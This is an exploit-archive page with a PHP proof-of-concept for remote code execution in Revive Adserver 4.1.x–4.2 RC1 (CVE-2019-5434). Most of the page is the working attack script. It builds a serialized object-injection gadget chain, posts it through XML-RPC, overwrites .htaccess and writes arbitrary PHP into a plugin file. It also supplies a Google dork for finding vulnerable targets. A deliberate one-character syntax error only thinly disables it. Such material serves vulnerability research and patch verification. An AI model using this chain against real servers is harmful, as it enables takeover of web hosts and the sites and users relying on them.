exploit the possibilities

Revive Adserver 4.2 Remote Code Execution

Revive Adserver 4.2 Remote Code Execution
Posted Dec 4, 2019
Authored by crlf

Revive Adserver version 4.2 suffers from a code execution vulnerability.

tags | exploit, code execution
advisories | CVE-2019-5434
SHA-256 | 5082b35d13521aa6d4dbca8ebd925afb960bebff1d7ba5b75f85a2e85c7bc127

Revive Adserver 4.2 Remote Code Execution

Change Mirror Download
# Exploit Title: Revive Adserver 4.2 - Remote Code Execution
# Google Dork: "inurl:www/delivery filetype:php"
# Exploit Author: crlf
# Vendor Homepage: https://www.revive-adserver.com/
# Software Link: https://www.revive-adserver.com/download/archive/
# Version: 4.1.x <= 4.2 RC1
# Tested on: *nix
# CVE : CVE-2019-5434
# Сontains syntax error for protection against skids


<?php
# Revive Adserver 4.1.x <= 4.2 RC1 PHP Object Injection to Remote Code Execution (CVE-2019-5434)
# coded by @crlf, with love for antichat.com
# special thanks to @Kaimi :)
# the script should be used only for educational purposes!

namespace{
(!isset($argv[2]) ? exit(message('php '.basename(__FILE__).' https://example.com/adserver-dir/ \'<?php phpinfo(); ?>\'')) : @list($x, $url, $code) = $argv);

$source = 'data:text/html;base64,'.base64_encode('#');
$destination = 'plugins/.htaccess';
#$destination = 'var/.htaccess';

if(!strpos(request($url, $source, $destination), 'methodResponse')) exit(message('failed, no valid response from '.$url));

$source = 'data:text/html;base64,'.base64_encode($code);
$destination = 'plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php';
#$destination = 'var/default.conf.php';

request($url, $source, $destination);
message('check '.$url.$destination);

function request($url, $source, $destination){

$what = serialize(
['what' =>
new Pdp\Uri\Url(
new League\Flysystem\File( $destination,
new League\Flysystem\File( 'x://'.$source,
new League\Flysystem\MountManager(
new League\Flysystem\Filesystem(
new League\Flysystem\Config,
new League\Flysystem\Adapter\Local('')
),
new League\Flysystem\Plugin\ForcedCopy
)
)
)
)
]
);

$what = str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'], str_replace(['s:', сhr(0)],['S:', '\\00'], $what));

$xml = '<?xml version="1.0" encoding="ISO-8859-1"?>
<methodCall>
<methodName>openads.spc</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>remote_addr</name>
<value>8.8.8.8</value>
</member>
<member>
<name>cookies</name>
<value>
<array>
</array>
</value>
</member>
</struct>
</value>
</param>
<param><value><string>'.$what.'</string></value></param>
<param><value><string>0</string></value></param>
<param><value><string>dsad</string></value></param>
<param><value><boolean>1</boolean></value></param>
<param><value><boolean>0</boolean></value></param>
<param><value><boolean>1</boolean></value></param>
</params>
</methodCall>';

return file_get_contents($url.'adxmlrpc.php', false, stream_context_create(
['http' =>
['method' => 'POST',
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' =>'Content-type: application/x-www-form-urlencoded',
'content'=> $xml
]
])
);
}

function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
}

namespace League\Flysystem\Plugin{
class ForcedCopy{}
}

namespace League\Flysystem{
class Config{
protected $settings = [];
public function __construct(){
$this->settings = ['disable_asserts' => true];
}
}
class Filesystem{
protected $adapter;
protected $config;
public function __construct($config,$adapter){
$this->config = $config;
$this->adapter = $adapter;
}
}
class MountManager{
protected $filesystems = [];
protected $plugins = [];
public function __construct($filesystem, $handler){
$this->filesystems = ['x' => $filesystem];
$this->plugins = ['__toString' => $handler];
}
}
class File{
protected $path;
protected $filesystem;
public function __construct($path, $obj){
$this->filesystem = $obj;
$this->path = $path;
}
}
}

namespace League\Flysystem\Adapter{
class Local{
protected $pathPrefix;
public function __construct($prefix){
$this->pathPrefix = $prefix;
}
}
}

namespace Pdp\Uri{
class Url{
private $host;
public function __construct($file){
$this->host = $file;
}
}
}
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close